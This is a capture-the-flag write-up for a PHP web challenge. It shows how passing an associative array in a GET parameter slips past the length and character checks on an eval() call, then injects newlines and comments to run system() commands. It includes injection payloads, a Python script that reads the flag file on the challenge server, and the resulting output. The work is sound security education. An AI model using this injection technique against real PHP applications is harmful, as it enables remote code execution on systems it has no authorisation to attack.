ヽ(#`Д´)ノ [web]

A small PHP script with eval()... What can go wrong?

Recon

The challenge website shows us a single PHP page that reveals its source:

../downloads/bamboo2021_angry.png

We can pass a value into eval(), however there are some constraints:

  • Our input (GET URL argument) may not be longer than length 10
  • Our input may not contain a-zA-Z0-9 and a backtick `
  • Our input is printed by print_r() before going into eval()

We can clean it up a bit for readability;

<?php
$code = ""; // user-input

if(strlen($code) >= 10)
    die("length not ok");

if(preg_match('/[a-z0-9`]/i',$code))
    die("illegal characters found");

$result = print_r($code, 1);
echo eval($result);

GET arg ninja

First things that come to mind:

  • Due to the length limit, it is near impossible to input anything useful.
  • Due to the way PHP parses GET arguments, we might be able to circumvent both the length and regex check by supplying an array instead.

And indeed we can circumvent the checks by doing something like this:

<?php
$code = ["foo", "bar"];

You would supply such arguments via an URL like this:

http://localhost/?code[]=foo&code[]=bar

Which results in the following string getting eval'd:

<?php
Array
(
    [0] => "foo",
    [1] => "bar"
)

However, that's a syntax error, as it is not valid PHP, so it gets us nowhere.

Backticks?

Backticks are like exec() in PHP. I naively hoped that when you have a string, such as:

<?php
$a = "bla `touch /tmp/test`; bla";
eval($a);

The PHP interpreter would first evaluate those backticks and only then error out on the rest, resulting in code execution. But that's not the case. The eval() just ... fails ヽ(#`Д´)ノ.

Injection

After a hour or so I saw The Light™: we have an injection point inside the to-be eval'd string in which we can do whatever what we want, e.g: add semi-columns, newlines, comments, so we might as well control/fake a lot of what will eventually go into eval().

Side-note: This write-up author is a PHP noob, in that case having a debugger around is helpful, PhpStorm (community edition) can help with that - make sure to install sudo apt install -y php7.4 php7.4-xdebug

Example:

Given the following input:

<?php
$code = ["foo", "bar\n    [2] => hax\n);/*"];

We can make arbitrary array elements:

<?php
Array
(
    [0] => "foo",
    [1] => "bar",
    [2] => "hax"
);/*
)

Note also the multi-line comment /* to cancel out the last ) - which is similar to SQLi where sometimes you add -- or # at the end in order to omit trailing characters in favor of getting a valid query.

We can also add whole new lines of PHP code:

<?php
$code = ["foo", "bar\n    [2] => hax\n);\necho system('ls -al');/*"];
<?php
Array
(
    [0] => "foo",
    [1] => "bar",
    [2] => "hax"
);
echo system('ls -al');/*
)

However, that whole Array thingy is a syntax error (PHP Fatal error: Illegal offset type) due to the keys (integers), so no actual code execution;

../downloads/bamboo2021_angry2.png

Associative Arrays

Seeing as I could not get the above approach working using regular PHP arrays, I tried "assoc arrays" instead. You pass them via GET args like this:

http://localhost/?code[foo]=bar

Which results in:

<?php
Array
(
    ["foo"] => "bar"
)

It's still a syntax error, but we control the key now, and for reasons that are above my paygrade, when you use $_SYSTEM as the key, PHP stops error'ing and merely complains with warnings. We can use this behaviour :)

<?php
$code = [
    "\$_SYSTEM" => "bar\n);/*"
];

Results in this being eval()d with no error (!) (ノ◕ヮ◕)ノ*:・゚✧

<?php
Array
(
    ["$_SYSTEM"] => "bar"
);/*
)

Exploit

We can craft our exploit;

<?php
$code = [
    "\$_SYSTEM" => "foo\n);\n\$e=system('ls -al');/*"
];

fed into eval():

<?php
Array
(
    ["$_SYSTEM"] => "foo"
);
$e=system('ls -al');/*
)
PHP Warning:  Unterminated comment starting line 5 in /home/dsc/PhpstormProjects/bamboophp/test.php(17) : eval()'d code on line 5
PHP Stack trace:
PHP   1. {main}() /home/dsc/PhpstormProjects/bamboophp/test.php:0
PHP Warning:  Use of undefined constant foo - assumed 'foo' (this will throw an Error in a future version of PHP) in /home/dsc/PhpstormProjects/bamboophp/test.php(17) : eval()'d code on line 3
PHP Stack trace:
PHP   1. {main}() /home/dsc/PhpstormProjects/bamboophp/test.php:0
PHP   2. eval() /home/dsc/PhpstormProjects/bamboophp/test.php:17
PHP Warning:  Illegal offset type in /home/dsc/PhpstormProjects/bamboophp/test.php(17) : eval()'d code on line 3
PHP Stack trace:
PHP   1. {main}() /home/dsc/PhpstormProjects/bamboophp/test.php:0
PHP   2. eval() /home/dsc/PhpstormProjects/bamboophp/test.php:17
total 16
drwxrwxr-x 3 dsc dsc 4096 jan 18 11:27 .
drwxrwxr-x 3 dsc dsc 4096 jan 18 10:20 ..
drwxrwxr-x 2 dsc dsc 4096 jan 18 11:26 .idea
-rw-rw-r-- 1 dsc dsc  327 jan 18 11:27 test.php

A directory listing :)

Flag

Lets try against remote:

# -*- coding: utf-8 -*-
import requests

hax = "http://chall.ctf.bamboofox.tw:9487/?%E3%83%BD%28%23%60%D0%94%C2%B4%29%EF%BE%89[$_SYSTEM]=foo\n);\n$e=system('cat /flag_de42537a7dd854f4ce27234a103d4362');/*"
resp = requests.get(hax)
print(resp.content.decode())

flag{!pee_echi_pee!}